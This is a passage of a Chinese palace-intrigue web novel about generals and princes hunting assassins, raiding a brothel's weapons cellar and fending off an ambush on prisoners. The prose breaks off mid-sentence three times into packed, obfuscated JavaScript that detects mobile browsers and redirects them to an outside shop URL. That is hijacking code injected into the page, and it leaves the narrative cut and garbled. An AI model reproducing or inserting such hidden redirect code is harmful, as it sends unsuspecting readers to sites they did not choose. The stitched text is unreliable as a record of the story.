l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718795|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时僵持无果,邹杲抓住李棋的手,一副悲痛欲绝的模样,“小棋儿,你不信我!” 李棋不吃他这套,白了他一眼,“你对我说过几句真话?换做你是我,你敢信吗?” 邹杲嘴巴张了又张,最后只弱弱吐出一句,“也是哦。” 李棋无语,当即甩开他的手,邹杲却抓着没放,“不过小棋儿,我拿我的性命向你保证,我对你说过的话,一半以上都是真的。” “那我真是谢谢你了哦,居然大发善心的只对我说了一半假话。”李棋皮笑肉不笑说着,甩开他的手,又推了下他的肩膀,“别偷懒,赶紧干活。” “小棋儿,你好凶。”邹杲一副委屈巴巴的模样,哀怨看着她。 李棋没说话,给了他一个眼神让他自己体会。 他嬉皮笑脸笑了笑,这才转过身去继续专注干活。 等他成功钉好,李棋才又开口。 “你的人已经去找幽冥蝎了是吧?明天能到吗?” “应该可以。”邹杲看向她问,“小棋儿有其他安排?” 李棋没回答,只说:“那等会便把赵孟送到官署去,还有要给成武帝写的信,也差不多该寄出去了。” “怎么,小棋儿的信难道要让我的人送吗?” 一语惊醒梦中人。 是哦,她要寄给成武帝的信是万万不能用邹杲的人的,既然不用邹杲的人,也就没必要和他讨论。 “我只要那两封信,城防图和剩余的都给你。” 邹杲笑意盈盈点头,“都听小棋儿的。” 见邹杲将千赤的另一只马蹄放到架子上固定好了,李棋生怕邹杲顺手就削了,急促提了提他肩膀处的衣服,“让我,我帮它们修剪,你帮它们钉马蹄铁。” “好。”邹杲乐呵呵起身。 李棋已经上手了,越发如鱼得水,邹杲在旁边静静看着,时不时抓着她的手提醒她两下,前所未有的安静祥和。 ** 鄂阳的雨季还未过去,淅淅沥沥下个不停。 但这一点没影响龙武军搜城,全城戒严,连飞进飞出的鸟都被射下来仔细搜查了。 但依旧一无所获。 立下生死状的赵英急得团团转,已经发了好几次火。 眼看只剩下一天,他急得又召集了一众将领,本来是想询问进展,但一看他们的表情,就知道无望。 于是,忍不住又发起了火。 “堂堂两万龙武军,别说十天,只消一天,就足够把鄂阳城的地翻一遍了,你们倒好,八天,整整八天,还一无所获……” 赵英气得直喘粗气,面前一众穿着盔甲的将领被他训得低眉顺眼、大气不敢出。 这已经是第八天了,别说刺客的踪影,连神武箭矢他们也没在搜查的过程中看到分毫。 “统领,能查的地方我们都查了。” 说话的人叫曹环,是二皇子邹珣的大舅哥,他的父亲曹敏才是大司农,掌管全国的农业和粮食分配。 听到有人敢开口,赵英犀利的眼神立刻朝说话的人看去。 曹环一滞,到嘴边的话也说不出来了。 没等到下文,赵英面色一冷,厉呵出声,“不能查的地方也去查,谁敢不配合,那就是做贼心虚。” “各部立刻吩咐下去,除了护卫皇宫、封锁皇城的一万人保持不动,再留下两千人驻守营地,其余兵马全部出动,五十人一队,从常胜王府、二皇子府、颍王府、明王府、四公府邸以及几个公主府还有我府上查起,里里外外、仔仔细细,就算是把鄂阳城翻过来,也一定要揪出行刺的歹徒。” 另一名老将犹豫劝道:“统领,皇家宅邸已经查过一次,上次也只有颍王府让我们深入搜查,这次再想查怕是不会容易。” “不容易也得查,谁敢阻拦就是包藏歹徒、意图谋反。”赵英道,“神武箭矢和弓弩是我们唯一的突破口,你们先带去人去查,里里外外,都要查清楚了。有妨碍搜查的,不必撕破脸,围堵戒严派人来通知我,我自会去向陛下请令。” 此话一出,其他人还想再说什么,却也说不出口了。 一群将领立刻吩咐下去,整队出发进行搜查。 * 一群人散去,随从为赵英端来热茶。 他坐下还没来得及喝,外面传来报信兵士的声音。 顾不得喝茶,他立刻起身喊前来传讯的兵士进来。 见曹环和二皇子亲近的随从跟着兵士进来,赵英的脸色更加严肃,也更加生人勿近。 “什么事?” 不等说话,二皇子的随从先道:“赵大将军,我家殿下请您和曹将军前往欢香馆一聚,这是请帖。” 赵英没管随从,而是用审视的目光看向曹环,冷哼道:“谁不知本将立下了生死状,劳烦你回去转告二皇子殿下,歹徒尚未抓到,恕本将不能从命赴约。” 那随从倒是泰然自若,“右相也会前往。右相命小的转告您,请您乔装前往,再清点五百兵马以搜查名义散布在附近,以防万一。” 闻言,赵英变了脸色。 他两步上前接过请帖,“宴会什么时候开始?” “最好现在便随小的前往。” “看座。”他对来人说,“你在这稍等片刻,我去去就来。” 他说着,急匆匆往外走,还不忘催促曹环,“快去换衣服,越快越好。” 曹环笑笑,跟着他的脚步快步朝营帐的方向走去。 40.幽冥卷·第十五章 15 赵英三人策马从龙武湾离开时天已经见黑了。 三人走后一炷香的时间不到,浩浩荡荡的八千骑兵也从龙武湾出发前往鄂阳城。 八千骑兵兵分四路从四个方向的城门进城,进城后又分散开来,五十人一队,从四个城门分别往城中心进行仔仔细细的搜查。 这已经是第二次大规模的搜查了,百姓虽然有怨言,但也知道严重性,就算不情愿,也不得不配合搜查。 他们这一次查得更细,连院子里可疑的土堆都要刨开看看。 不过,龙武军是成武帝的亲兵,代表的是成武帝和皇家的威严形象,进入其中要经过层层考核,军纪更是严明。 他们手脚虽重,但也有分寸,没给百姓造成太大的财物损失。 在搜查浩浩荡荡进行的同时,赵英也到了欢香馆。 为了避免打草惊蛇,三人在城门口就弃了马。 因为全城戒严,欢香馆萧条很多,除了几个客居此处的胡人商贩,再没有看到其他客人。 欢香馆的小厮认得随从的脸,老远看到他,就笑盈盈迎上来,径直将他们带到了二楼一个名为寒梅居的房间门口,便自行离去了。 等小厮退去,随从规律地敲了三下门,门才从里面打开来。 开门的是邹珣常带在身边的另一个随从,两人短暂眼神交流,屋里那人才立刻将他们迎进去。 屋里灯具很多,全部都点着,梁上挂了很多粉红色的绡纱,烛火映照下,很是旖旎。 古琴悦耳,夹杂着拗口的官话的嬉笑逗弄,透过绡纱,依稀可见一个翩翩起舞的娇艳女子的身影,却怎么也找不见疑似邹珣的人影。 赵英几乎以为邹珣在戏弄他。 不过,只是下一刻,打扮成商贩模样、还贴了假胡子的邹珣便从层层纱帷中走来出来。 他面带笑意,无声对两人做了个往里请的动作。 见状,赵英的面色稍有缓和,客气且谦卑回礼,这才提腿往里走。 看到同样打扮成胡人商贩模样的李卓,赵英悬着的心才放松了下来。 注意到被人拿刀抵着心口,跪在角落假意出声的两个胡人,赵英虽然心急如焚,但也不得不静心等待。 四人分别跪坐在角落里的一张矮桌四边,接过邹珣递过来的茶水,赵英顾不得喝,压低声音就问李卓:“这两个胡人就是凶手?” 李卓摇头,看向对面的邹珣,“赵将军莫急,邀你与曹将军来此,也是因为二殿下通过密信查到了此处。” 邹珣微笑着接话道:“还不确定,但我的人已经去后院搜查,赵将军稍安勿躁,稍等片刻。” 赵英很急,但也知道急也没用,只能再次强迫自己静下心来,耐心等待。 这期间,谁也没有说话,只是静静等着,差不多两炷香的时间过去,门外终于传来规律的敲门声。 一个小厮打扮的人快步跑到邹珣身旁,凑到他耳边不知道说了什么,邹珣脸上的笑意越发明媚。 邹珣手一动,琴声急转直上,亢奋激烈。 见赵英已经急切走到他面前,邹珣也不卖关子,“后院地窖里大概有五十人,入口在茅屋后面。他们掌握的兵器不清楚,但神武弓弩和箭矢一定不少,是要现在动手,还是等援兵过来,赵将军你决定吧。” “此话当真?”赵英很激动。 邹珣胸有成竹,“当真!” 赵英在屋子里转了两圈,才看向邹珣和李卓又问:“这欢香馆背后之人,二殿下和右相可有眉目?” 李卓摇头。 邹珣道:“我的人也是昨天才查到这里,事态紧急,只查清了表面的人。” 赵英理解点头,又说:“此处只是一个驿站,不能打草惊蛇,不然要抓背后之人就难了。” “今夜多谢二殿下和右相,事后我再设宴道谢。” 李卓点点头,没有多说。 邹珣笑笑,“你我皆是为父皇分忧,互相扶持是应该的。” 赵英郑重抱拳,“二殿下大义大恩,赵英万分敬仰、感激不尽。” 他又说:“此处之事还请两位命身边人闭紧嘴巴,待我命人悄悄查一查背后之人,再一举将这些歹徒缉拿归案。” 邹珣点头,“这是自然。” 赵英点点头,又顾虑看向旁边跪着的两个胡人。 邹珣适时笑道:“赵将军放心,他们是父皇赐给我的暗卫,在赵将军动手之前,有他们看着这两个胡人和这三个歌舞伎,不会出意外。” 曹环也胸有成竹笑着说:“有陛下赐与的暗卫协助,此事定然万无一失。” 赵英紧锁的眉头缓缓舒展开来。 李卓淡淡提醒,“这里不是说话的地方,赵将军既已有计较,我们便都先离开这里吧。” 众人一听也是,邹珣立刻招呼两个暗卫押着两个胡人起身。 两个胡人在暗卫的裹挟下,笑意盈盈送他们下楼,一行人聊得热络,好似刚刚谈成了一桩大生意一般。 * 离开欢香馆,四人又同行了一段路程,才分散开来。 赵英带着曹环走得很急,目送两人远去,邹珣招来候在不远处的马车,送李卓回府。 几日的相处下来,李卓也不再拒绝邹珣的示好,在邹珣的招呼下上了马车。 马车缓缓行进,邹珣打破了沉默,谦逊讨教,“右相,欢香馆背后之人,我们可还要插手?” 李卓目光炯炯看向邹珣,“殿下觉得该怎么做?” 对上李卓明亮的眼神,邹珣莫名的慌乱,好像心中所想都被他看穿了一样,本能躲避。 他沉思片刻,这才抬头重新对上李卓的视线。 “父皇只让我们查密信,但写密信的人明显和复儒教还有神武箭矢有着千丝万缕的联系,我们手下没有兵马,按理说不该再查。” 李卓点点头,却没有收回视线。 邹珣停顿片刻,铿锵有力又说:“但是,我作为皇子,为父皇分忧是分内之事,何况我还有父皇为此事特意指派给我的亲信,所以我得继续查。” 李卓点点头,“既然殿下已经决定好了,那就按殿下想的去做吧。” 邹珣谦卑道:“我把我的思路同右相说一说,右相帮我把把关?” 李卓摇头,“欢香馆一事,殿下考虑周全,后续要如何查,想必也想好了,殿下且先去查,若赵将军铲除欢香馆时殿下还未查出线索,殿下再与臣探讨不迟。” 赵英也就明天和后天两天了,最迟后天晚上,纵使什么也没查出来,他也得对欢香馆下手,不然他没法跟成武帝交代。 李卓的话语依旧冰冷疏离,但邹珣能感觉到他态度上一点点的转变。 邹珣也不强求,笑着点头,“好,那我便先按我想的去做。” 李卓点点头,收回视线不再说话。 知晓他喜欢清静,邹珣也不再多说。 马车驶至右相府,李卓下车准备进屋前,又回过头来对邹珣说:“殿下明日不妨先去拜访一下颍王和太尉。” 这句话的用意邹珣一时半会想不明白。 不等他询问或敷衍过去,李卓又说:“密信、复儒教还有神武箭联系匪浅,将分别查到的信息聚拢到一起,或许能达到事半功倍的效果。” 许是他的神情还是太迷惑,只见李卓停顿片刻,语气淡淡又道:“都是为陛下分忧,没必要分太清楚。” 邹珣一怔,而后恍然大悟。 “我明白了,多谢右相指点,我明早便分别去拜访皇伯父和太尉。” 李卓欣慰点头,“殿下慢走,恕臣不远送。” “虽只是短短几日,但我在右相身上学到了很多为人处世之道。右相于我,与老师无异,送老师回府,是学生该做的,老师自不必远送。” 李卓点点头,没有反驳他的师生之言,只叮嘱他回去的路上注意安全后,就先转身回府了。 邹珣很是谦卑,在大门外静静等待李卓进府关上府门,这才上车打道回府。 马车上,邹珣看向他喊上来坐在对面的随从,问他,“冯云,我刚刚的表现如何?” 冯云是邹珣的近卫亲信,也是他儿时的伴读之一。 和其他出身官宦世家的伴读不一样,冯云是邹珣自己救回来的,从被他救回来的那一刻起,冯云就只属于他了。 冯云小时候被烫坏了嗓子,说不出话来。 听到邹珣这么问他,他严肃板正的脸瞬间笑得眉眼弯弯,并骄傲竖起了大拇指。 他看起来很骄傲的样子,好像是他自己做了什么很了不起的大事一样。 邹珣一时心情大好,也跟着笑了,“就不该问你,关于我的作为,你的意见不具有参考性。” 冯云还是笑。 邹珣也笑,同时也纳闷,“你说你又憨又黑,怎么生出来的闺女就那么白净伶俐呢。” 说笑间,马车回到了二皇子府。 邹珣陪长子还有养在二皇子妃府中的冯语玩了会儿,便在冯云的陪伴下去到书房处理事务了。 * 第二天一大早,邹珣安排手下的人去查欢香馆相关事宜之前,便命人先一步给颍王和太尉欧阳谨送去拜帖。 因为太尉是邹瑅的母舅的原因,邹珣和太尉的关系很是浅淡,贸然上门不好,于是安排好一切事宜后,他先去拜访了作为他仅剩的血亲伯父,也就是颍王邹黍。 出乎意料的,尽管他去得很早,但还是被颍王府的管家告知颍王一大早就出门了。 问去了何处,管家说不清楚,只知道是和三皇子走的。 邹珣隐隐有些不好的预感,顾不得等回信,当即前往太尉府。 到太尉府一问,太尉也很早就出门了。 还好,太尉府上的人知晓太尉的去处——京师府,掌管鄂阳城内及百姓大小事务的地方。 等邹珣赶到京师府时,只见京师府后院堆满了各种卷宗,京师府大小官员,包括邹瑅、邹黍、欧阳谨在内,全部在翻看卷宗。 一众人看得太认真,对于他的到来,除了看守府门的府兵,都没人在意。 山不来就我,邹珣只好去就山。 他做作地干咳一声,引得离他较近的颍王抬起头来,他立刻问:“伯父,你们如此大动干戈,是在找什么啊?” 他玩笑又说,“什么样的卷宗还需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725209|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要您和太尉亲自上手查找。” 见是他,邹黍和煦笑了笑,“没有其他线索,闲着也是闲着,不如帮着找找。” 两人的对话让太尉欧阳谨和邹瑅都起身看了过来。 邹瑅和邹珣从小关系就不好,看到他来,只是不咸不淡喊了声‘二皇兄’,便低下头去继续翻看。 欧阳谨多问了一句,“二皇子殿下来这边也是要查卷宗?” 邹珣摇头又点头。 见欧阳谨疑惑皱眉,他这才说:“卷宗之后可能要查,但我现在过来,是追随着我伯父与你的脚步过来的。” “哦?” “追随颍王与我的脚步?” 欧阳谨和邹黍都很意外。 闻言,邹瑅也不由得抬起头来,怀疑看向邹珣。 邹珣并不管他,只对两人说:“密信的事,我和右相查到了一些眉目,发现和神武箭矢与复儒教息息相关,不知道两位可有时间,我们找个安静的地方交流一下。” 欧阳谨见邹瑅欲言又止,连忙眼神示意他不要说话。 邹黍说笑呵呵说:“既有关复儒教,二殿下又亲自前来,就算是没有时间,也是要挤出来的。” “太尉,三殿下,这边的卷宗先交由京师府的人去查吧。” 有邹黍在中间缓和,两人自然给面子点头。 外面未必安全,遂命京师府腾了间屋子,将周围的人换成了他们带来的亲信后,四人才入座。 邹瑅最沉不住气,见几人只是悠哉哉喝茶,他忍不住开口问道:“你们查到什么?已经掌握凶手真实身份的证据了吗?” 邹珣似笑非笑看向他,并没有立刻回答。 邹瑅等得很是焦灼,眼看就要按捺不住,这时,欧阳谨轻咳一声,邹瑅才将已经到了嘴边的话都咽下去。 邹珣也这才淡淡道:“并未。” “那你们是找到指向性的证据了?” 邹珣轻笑出声,“都是自家人,皇弟想说什么不必藏着掩着,直说也是可以的。” 邹瑅盯着邹珣,并没有上套去顺着他的话问邹杲有关的。 见邹瑅没有说不该说的,欧阳谨心中很是欣慰,看向邹珣哈哈笑道:“二殿下既然有心与我们合案并查,就别卖关子勾人了吧。” 邹珣笑笑,“我这皇弟着实可爱,不由想逗逗,太尉见笑了。” “你……”邹瑅欲骂又止,又被他的大舅父欧阳谨一个眼神按了下去。 见没人搭茬,邹珣也不觉难堪,笑了笑,这才说道:“我的人通过暗中大量的走访,拼凑、推测与排除,得出送密信的几人最终都进了欢香馆。” “欢香馆?”邹瑅不解,并没听说过这个地方。 邹黍和欧阳谨也是皱眉,一时没有言语。 给了三人吸收的时间,邹珣才笑吟吟给邹瑅解惑,“欢香馆,位于城西的一个烟柳之地,因为其所处方向,西面来的胡商多在那里落脚。” 欧阳谨问:“二殿下的意思是,复儒教一事和胡商有关?” “不清楚。” 在欧阳谨几人都忍不住开口询问之前,邹珣道:“昨夜,我与右相、赵将军还有曹环将军以商贩的身份潜了进去,其他不清楚,唯一确定的是欢香馆后院地下藏了一个不小的地窖,神武军中的武器便藏在地窖中。” 欧阳谨问:“你和赵将军怀疑欢香馆背后的人是主谋,打算顺藤摸瓜?” 邹珣笑着点头,“太尉慧眼如注。” 欧阳谨又问:“欢香馆背后的人,二殿下查到了多少?” 邹珣遗憾摇头,“昨日才得到确切的消息,赵将军又不让打草惊蛇,暂时还没有消息。” “二殿下找来是想知道我们查到的信息。” 邹珣笑着点头,“你我都是为父皇分忧,既然这些事情都有关联,不如联手,早日让真相水落石出。” 他笑吟吟补充了一句,“这也是右相的意思。” 片刻的沉吟,欧阳谨看向邹黍,“二殿下的提议,颍王意向如何?” 邹黍一愣,像是走神了,“啊?” 邹瑅重复了一遍,“二皇兄查到了欢香馆,确定神武箭矢就在欢香馆地窖之中,想联手一起查欢香馆背后的人。” 邹黍冲邹瑅感激笑笑,看向欧阳谨和邹珣连连点头,“如此甚好。” 邹珣满意笑了,看向欧阳谨道:“伯父同意了,太尉您呢?” 欧阳谨没有太多犹豫,“既然如此,那便先联手揪出欢香馆背后之人吧。” 邹珣笑着举起手边的茶,“好!我们联手,定然势如破竹!” 在邹黍的带头下,欧阳谨和邹瑅也端起茶水示意了一下。 喝了一口,邹珣随口又问:“那我们便说说你们查到的内容吧?这些陈年的卷宗有何特别,为何要投入这么大的人力去翻看?” 见舅舅和伯父都在喝茶,明显是要他说,邹瑅也不耽搁时间,直接说道:“我在走访互殴的夫妻时收到了一百九十五枚小金饼,这些小金饼全是假的,我们怀疑……” 他话没说完,邹珣便难以置信起身打断了他。 “什么!收买他们的小金饼是假的?” 41.幽冥卷·第十六章 16 邹珣突然的暴起,三人均是一愣。 被三人莫名其妙的眼神注视着,邹珣也立刻反应过来。 但他的情绪依旧激动,“你没有说胡话?收缴的小金饼当真全是假的?” 邹瑅只觉他莫名其妙,“我又不是是非不分的,说好了共享信息一起查,就没必要骗你。” 邹珣一想也是,缓缓坐了回去。 欧阳谨问:“二殿下何故如此激动,可是知晓什么?” 邹珣当即摇头,“没有,我只是愤怒,天子脚下,他们竟敢私铸货币!……简直胆大妄为!这是赤裸裸的挑衅,完全没把我大嬴国威放在眼里!” 邹瑅和欧阳谨不置可否,只有邹黍不轻不重跟着骂了两句。 喝了两口茶,缓了缓,邹珣才又问:“你们是在查历年来进入鄂阳城的金铁等矿石货物?” “你们怀疑那些假金饼、还有神武箭矢都是在鄂阳城内铸造的?” 邹黍和欧阳谨均是点头。 欧阳谨说:“这个可能性很大,而且,除了这条线,我们也再没有找到别的线索。” 邹珣沉默许久,似乎是不死心,又或是别的,又问:“有没有可能是内部出了问题?” 欧阳谨摇头,“可能性很小,我命人严密盘问了铸造神武箭矢的所有核心工匠,暂时没有发现异常,也不存在神武箭矢设计图丢失的情况。” 邹黍道:“钱监那边还在盘问,但可能性也不大,经过仔细的对比,可以发现那些假金饼上面的印章还是有细微的差别,我们更倾向于是根据实物进行仿造。” 邹珣点点头,再次陷入沉思。 没有人催促他。 许久,才听他道:“私铸货币不是小事,还是分两路去查。” 没人发表意见,欧阳谨道:“赵将军立下了军令状,我们只有两天的时间去暗中调查欢香馆背后推手。” “避免他们提前听到风声,欢香馆的账目、还有欢香馆明面上的管事得派人看紧了。” “管事那边有我的暗卫盯着,这批暗卫是父皇赐予我的。” 这话像一颗定心丸,三人都放下心来。 邹瑅主动请缨说:“那账目我去盯着吧。” 三人齐刷刷扭头看向邹瑅。 邹珣的目光让邹瑅尤其不爽,还有些心虚。 邹黍替他解了围,“可行,三殿下身手好,同赵将军那边通通气,他们出兵查封的时候,三殿下这边带几个近卫径直冲进去抢账目,定然万无一失。” 欧阳谨深思片刻后,点头同意了,“这样也好。” 如此,邹珣才不情不愿说,“伯父和太尉都觉得可行,那这个重任便交给皇弟了。” “我先去摸摸周边的环境。”邹瑅说着,起身就要走。 邹珣起身叫住他,“等等。” 邹瑅疑惑看向他,不等三人说什么,邹珣先关切道:“皇弟安危至关重要,冯云!” 他话音未落,冯云开门进来。 邹珣拉着冯云上前,笑着对邹瑅说,“冯云是我最信任的亲卫,他武功高,耳力也好,让他跟着皇弟,我也放心些。” 只看邹珣那笑容,邹瑅便觉得他没安好心,何况他主动请缨去抢账目也是有他的私心的。 他正要拒绝,就听舅父说:“既然是二殿下一番好心,三殿下便带上吧。” 邹黍也笑着说道:“陛下若是知道你们兄弟如此关切对方,定然欣慰不已。” 如此,邹瑅还有什么不懂的。 “那便多谢二皇兄关爱了。” 邹珣笑着拍拍他的肩膀,“你我兄弟,不必如此生分。” 冯云不愿走,但终究没拗过邹珣坚持的眼神。 邹瑅带着冯云和两个成武帝赐给他的亲卫走后,邹珣三人又谈了一会儿,才散去。 * 之后的两天果然如他们预料的一般,在不打草惊蛇的情况下,无论是邹珣还是赵英,都一无所获。 夜幕很快降临,搜查的军队也终于到了欢香馆门口。 交给小辈不放心,赵英直接亲自带队。 青楼在宵禁前都不会关门,虽然这几天戒严,但里面毕竟还有几个胡商。 军队还没进去,一个打扮艳丽的丰腴妇人就迎了上来。 她步伐轻盈,黏腻腻喊着‘军爷’,飘飘然上前就要往为首的赵英身上扑。 赵英站在原地没有躲开,她和她宽大的水袖下藏着的一大包钱财都塞进了赵英的怀抱。 “军爷,五天前不是搜过一次吗?怎么还要搜啊?” 赵英将沉甸甸的包袱丢给身侧的赵兴存,一把推开女人,大步往里走。 “搜,仔仔细细地搜!” 随着他一声令下,三百名训练有素的士兵立刻分散开来。 老鸨想拦,但她一个妇人,哪里是精心挑选出来的龙武军的对手。 见拦不住他们,她只能又扑到赵英身旁。 她拿起桌上的酒,倒了一杯双手捧着送到赵英面前。 “军爷,奴家这里住的都是胡商,有几个还和皇宫那边有生意往来,您行行好,只要不惊扰奴家的贵客,奴家做什么都可以。” 她说着,就要将本就松散的领口扯开。 赵英一把抓住她的手,掐住她的脖颈强迫她直视他的双眼。 “当真做什么都可以?” 老鸨大惊,但下一刻还是笑靥如花,暧昧说,“只要军爷开心,怎么都可以。” 赵英压低逼近她,“告诉我,你背后的人是谁?” 老鸨又是一惊,但很快便笑道,“奴家是有一个丈夫,但他巴不得奴家多给他赚钱,知晓奴家要伺候军爷您,他高兴还来不及。” “是吗?”赵英说罢,对旁边站着的赵兴存说,“去把这老鸨的丈夫喊来,告诉他,他夫人喊他来观礼。” 赵兴存动作飞快,已经站在大堂中央大喊起来。 “这老鸨的丈夫在哪?立刻出来!” 老鸨有些着急,但挣不脱赵英的束缚,只能求饶,“军爷莫要说笑了,军爷有要事在身,就算真要奴家伺候,今日也不合适啊。” 赵英一把甩开她,“知道我要要事在身,你还敢来阻拦?” “这么反常!我很难不怀疑你的用心。” 赵英狠厉的双眸犹如蓄势待发的头狼,仿佛下一刻就要下令让手下将她分吃干净,老鸨惊惧万分,却还是一阵哭喊,强压着恐惧表现出一副万分委屈的模样。 赵英本来就心情烦闷,她这么一叫喊,赵英更觉心烦,一点不怜香惜玉,当即命人把她的嘴巴堵起来。 才堵上,安静下来,一个其貌不扬的中年男人也终于在兵士的威慑下,从二楼角落里的房间颤颤巍巍探出头来。 看到哭得泪眼婆娑的老鸨,他不为所动,被身后的兵士用手中利刃威胁戳了下,这才连忙抱着怀里的东西跑下来。 快步小跑着下完楼梯,还没靠近,他就一个滑跪,朝赵英的方向冲来。 最终停跪在赵英面前半丈远的地方,他将怀里抱着的包袱往赵英面前一推,便接连磕起头来。 “军爷饶命,军爷饶命,我们所有积蓄都在这里了,只要军爷能放过我们,我们以后一定会好好孝敬军爷们的!” 一个人上前掐住男人的后脖颈,强迫他抬起头来,赵英确定后,朝赵兴存点点头。 赵兴存拿着火把出门晃了晃,然后举着火把快步去到后院。 随着火把规律的晃动,所有人朝茅房围去,欢香馆外,附近的士兵也朝欢香馆围拢过来。 * 与此同时,收到信号的邹瑅六人立刻施展轻功,从屋顶径直潜入账房。 他们事先找到了欢香馆的布局图,虽然是第一次来,但也没有太影响行动的速度。 不知道该庆幸,还是该深感不妙,账房居然没有哪怕一个人守着。 六人很顺利进入了账房。 “把那边的箱子搬过来。” 邹瑅喊人搬箱子过来的同时,拿起一本账本走到窗边翻看起来。 还没看完一页的内容,冯云鬼一样阴魂不散走到他身边,死死盯着他。 邹瑅全当他不在,继续快速翻看。 虽然只是匆匆几眼,但他并没有看到他害怕看到的。 这账本很普通,每天的支出都记录得很详细,一个月一结算,并没有什么特别的。 见其他人已经拿着箱子过来了,他也不再急着看账本,而是翻起了桌面和桌肚里的东西。 只有纸笔,再没有其他。 太干净了。 听到不远处传来的痛苦惨叫,他一边上手帮忙装东西,一边说:“不用管龙武军那边战况如何,以防万一,先把这些账本装好,动作快些。” 闻言,几人手上的动作快了起来。 * 出乎意料的,龙武军的行动出奇的顺利。 地窖入口太狭小,又没有别的出口,里面的人只能等死。 担心他们销毁罪证,带队的人直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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欧阳谨不动声色抓住还要再去拿金饼来验证的邹瑅,理智猜测道:“如此看来,这里应该只是他们的其中一个落脚点了。” 李卓和邹黍也比较赞同他的说法,毕竟那些金饼是在龙武军和百姓的见证下,从百姓家中搜出来的,现在都还摆在廷尉府的证物室中。 “赵将军,将附近的龙武军都调过来吧,把这些人和证物都先送到廷尉府去,让廷尉府的人先审查着。”李卓建议说。 赵英点头,立刻让吩咐手下人去执行。 安排好回来,赵英面色窘迫带着几人走到没人的地方。 他踌躇着不知道该如何开口。 邹珣笑意盈盈解围道:“这里没有外人,赵将军有什么事不如直说。” 李卓也微微点头表示同意。 在看欧阳谨邹黍还有邹瑅,三人虽然没有说话,脸上却也都是赞同的神色。 如此,赵英才终于扭捏开口。 “杀人凶手虽然抓到了,但背后之人却没有任何线索,这十日的封禁已经吓得城里的百姓个个人心惶惶,陛下恐怕会让我解除封禁,到时候,就算问出线索,但再想要抓人,恐怕就来不及了。” 他这话倒说得没有问题。 李卓犀利问:“赵将军有了打算?你想如何做?” 赵英一时为难,似乎难以启齿。 欧阳谨安抚道:“赵将军但说无妨。若可行,一举抓到真凶,皆大欢喜,若不可行,也只有你我几人知道,定不会再传出去。” 闻言,赵英才咬牙说道:“趁着消息还没完全传出去,趁着封禁还没解除,在这地窖内对老鸨夫妇动刑,从他们口中逼问出背后歹人的线索。” 一时没有人搭话,他也有些没底,但还是说道:“我知晓陛下不喜在鄂阳城内动武,但他们为虎作伥,算不得我大嬴子民,这也是最稳妥的办法。” “不用你们动手,只要你们点头,我亲自去,问出来了是大家的功劳,问不出来,便是我一人的责任。” “不将背后真正的歹人抓出来,之后鄂阳城都不会有安宁,长痛不如短痛,我宁愿现在狠一把!” 邹珣眼中有兴奋的眸光闪过,但在他出声之前,冯云不动声色抓住他的手臂。 见众人还是不吭声,赵英低叹一声‘唉呀!’,一咬牙,正要转身去单干,邹瑅叫住了他。 “赵将军,想要从他们口中撬出信息,未必需要你去动用私行。” 42.幽冥卷·第十七章 17 很快,欢香馆的所有东西都被查封,连姑娘们的房间都没有放过。 欢香馆的人也尽数分批次运往廷尉府。 老鸨夫妇和账本以及从地窖里运出来的武器和钱财是第一批。 由于欢香馆还有太多人和物,这第一批便只有五十龙武军运送。 夜色已深,距离宵禁的时间已经过去很久了,大街上除了龙武军的火把,再没有其他亮光。 今夜,连打更人都不曾出没。 欢香馆距离廷尉府有些距离,走出龙武军所在的范围,街道便寂静空旷起来。 老鸨夫妇俩戴上了枷锁,运送他们的囚车位于队伍的中段。 途径一段房屋密集的巷道时,风一吹,两人只觉得阴冷异常,不由得打起寒颤。 由于嘴巴被绑住了,两人没法说话,只能更加警惕。 突然,又是一阵大风,路面上的尘土被风扬起。 老鸨只觉风沙迷眼,不等她闭眼躲避,一支箭几乎擦着她的脸颊飞过。 老鸨几乎被吓破了胆,不等她做出反应,男人猛地窜到她身后,死死揪着她的衣服。 竟是要拿她做挡箭牌。 周围的龙武军也被惊动了,当即警备,但这并没有吓退那些不择手段灭口的疯子。 密密麻麻的飞箭朝她射来,老鸨还以为自己要死了。 千钧一发之际,一个身穿银色战甲、红色披风飞扬的将军天神降临般,手持一把长枪挡在她身前。 那将军枪出如龙,飞箭全部被他打开。 但那些人还不罢休,朝她不停射箭的同时,还有四个蒙着面目的黑衣人提着刀朝她砍来。 这四个蒙面人分工明确,一人牵制将军,两个拦住周围的士兵,剩下一人朝她砍来。 困住她们的囚车成了救命的最后一道屏障。 但那刀又狠有利,一刀下来,囚车上方的木头横飞四溅。 黑暗中,老鸨却看得真切,那人的眼神凶狠万分,老鸨几乎胆裂。 身下的男人死死抓着她,让她动弹不得,看着那人高高举起的大砍刀,老鸨心如死灰,这次没人能救她了,她必死无疑。 看到那人朝她挥下砍刀,老鸨不甘却不得不认命闭上了双眼。 命悬一线之际,还是那抹红划过她的双眼,替她挡住了朝她迎面砍来的大刀。 是那个将军。 她也终于看清楚了救她的人的脸,是一个年轻俊美但勇猛异常的少年将军。 原来,是被拦住的士兵们冲了进来,小将军得到支援,便立刻赶过来救她了。 只见那少年将军手中的长枪猛地一挑,又斜向下往那人腿边一挑,那刀和拿着那刀的人都被挑起。 少年将军犹觉不够,长枪一收一举,猛然跃起,在半空中又用长枪狠狠击打在那人的腹部。 